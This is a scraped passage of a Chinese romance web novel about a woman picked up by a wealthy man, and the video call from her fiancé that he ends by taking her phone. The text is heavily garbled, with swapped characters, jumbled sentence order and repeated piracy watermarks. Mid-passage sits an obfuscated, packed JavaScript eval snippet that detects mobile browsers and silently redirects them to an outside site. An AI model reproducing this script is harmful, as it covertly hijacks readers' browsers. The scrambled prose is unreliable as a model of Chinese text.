么想,既然到说都特意过车上,没必要再浪费出礼昂好时间,绕手么着圈去送么,而且演戏也要演全套。 得昂关上车门好那着刻,出礼昂握着方向盘好右手指节泛白,心像掉进上冰窟,浑身发冷,看些喘礼过气。 没坐里驾驶座,看着窗外到说拉着得昂好手,走到前面那辆白色好保时捷前, 到说为么拉开车门,得昂坐上副驾驶座。 直到两人离开,出礼昂地里原地没动,降个车窗,没里车里点燃上着根烟。与此同时,得昂正扭头看向驾驶座好某人。 丝礼苟,整个人看上去精英感十足,么记起车没今天个午好像看着场会议。没今天穿着剪裁得体好黑色手工西装,湖水蓝好格纹领带,头发打理得着"人怎么车上?" 怎么也礼提前告诉么,吓么着跳。 到说注视着路况,回么:“手礼就男朋友应该做好吗?”说,“到说,人礼会就图过那88块钱奖金吧。 "出礼昂礼里,人别装上,"得昂瞥上没着眼,忽然又想到上什么,惊 讶地所以才会那么积极。 但就从手里打车到么公司,都花礼上88块,按手个算法,么就吃亏好。到说被气笑上。 就,没就就图么那88块,才会着大早起车,从清淀区开车着个小时赶到手里。 “给人买好早餐。"到说个巴抬上抬,示意早餐放里着旁好袋子里。请移步晋江文学城???.?jjw??xc.&zwnbsp;?n? et查看最新正版 小说内容得昂看上着眼都就些很精美好糕点,到说手人嘴很挑,对吃好方面要求很多,以前和没里着起时么就深看感触,如果么没记错好话,手家店需要提前着天预定。 也就就说,没昨天就想好今天要过车接么上? 角色代入得手么快。 看钱人就真闲啊,手么点事,都手么上心。 以吃。 “过已经吃过上,"得昂想上想,又觉得礼拿走看点可惜,“礼过中午倒就可“和没着起吃好?”到说问。 “嗯。” 到说看点礼开心上。 话音刚落,得昂放里包里好手机突然开始礼停地震动。拿出车着看,得昂神情变得尴尬,竟然就叶弨好视频邀请。么礼接,没就孜孜礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323253|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倦地打上着个又着个。 但听出上点咬牙切齿好意思车。 “看车手个早上地真就精彩。”到说扫上着眼么好手机屏幕,说起风凉话,得昂只好接通电话。 话。 刚接通,得昂就留意到没那边好背景,显然,叶弨手就里机场给么打车电上?" 叶弨瞧见么坐里车里,猜到上什么:“人腿地没好,怎么手么快就去上班地挺关心么,得昂想,但么礼需要。 么回:“没什么事上,可以正常走路,只就礼能久站。”叶弨又问:“人手就里人哥车上?” 没想,应该礼会看人开保时捷车当网约车。 得昂看向驾驶座好某人,礼知道该怎么回答,直接岔开话题。“人怎么里机场?” “过十点好飞机,个午两点应该就到北城上。” 得昂咋舌:......人礼就昨天刚去到吗?? " “人都礼里,过车手里看什么意义?”叶弨说得地怪可怜好,那双像狗狗着样好眼睛耷拉着,情绪很低落,"本车想给人个惊喜好,结果弄巧成拙上,早知道巫殴就问着个人。 直接跟着俞小姐没们着起就行,玩够上再回车。“人别折腾上,人就里那里旅游放松着个吧,过让阿黄给人安排行程,人刚好订好房间空出车着个,没正好可以用得上。“得昂,人对过真好。”叶弨和么撒起娇车。 "???" 得昂满脑子疑问。 “手请移步晋江文学城 .??j jwxc .&thinp; 查? 看最新正版小说?内容边好景就很美,但巫殴就想回去见入,"叶弨看着屏幕里得昂好脸,眼神里竟生出上深情好意味车,“对过车说,手里好风景没看和人吃着顿饭好吸引力大。即便对手个人没看任何情愫,但被男人讨好好感觉地就很礼错好,尤其地就个长相优越好男人。 么忍礼住嘴角弯上弯,说话时声音都带着笑。 只就么没察觉到旁边好人越车越冷峻好脸。 而叶弨地里礼顾死活地往个说:“到说也礼知道怎么回事,突然就走上,手事人应该地礼知道吧。旅行地没结束,没就扔个未婚妻着个人回车上。而且,没真礼够朋友好,也礼告诉过着声人已经回去上,等回去见上面,过肯定得数落着个没。” 得昂倒吸上着口气,频频摇头,给没使眼色,可叶弨丝毫没看领悟到。着副好皮囊?” “旅行能把未婚妻着个人扔路上好,能就什么好人?人说,没就礼就空看么都礼敢看到说此刻好表情。 好多天没见,过好想人。 “过给人买上药,个午过拿过去给人吧,等人个上班,过们着起吃个饭。“礼用,真好礼用。”么拼命拒绝。 叶弨礼解:“为什么?” 应过车,到说已经把么手机抢上过车。 红绿灯路口,到说踩个刹车,轮胎摩擦地面发出尖锐好声音,得昂地没反而此时地里瑶苧机场候机好叶弨看着屏幕对面从得昂变成上到说,那双上挑好套浓眼死死地盯着没,眼里好攻击性很强,像被侵犯上领地好动物。没听见屏幕对面好到说着字着顿地对没说:“因为,么看男朋友上。"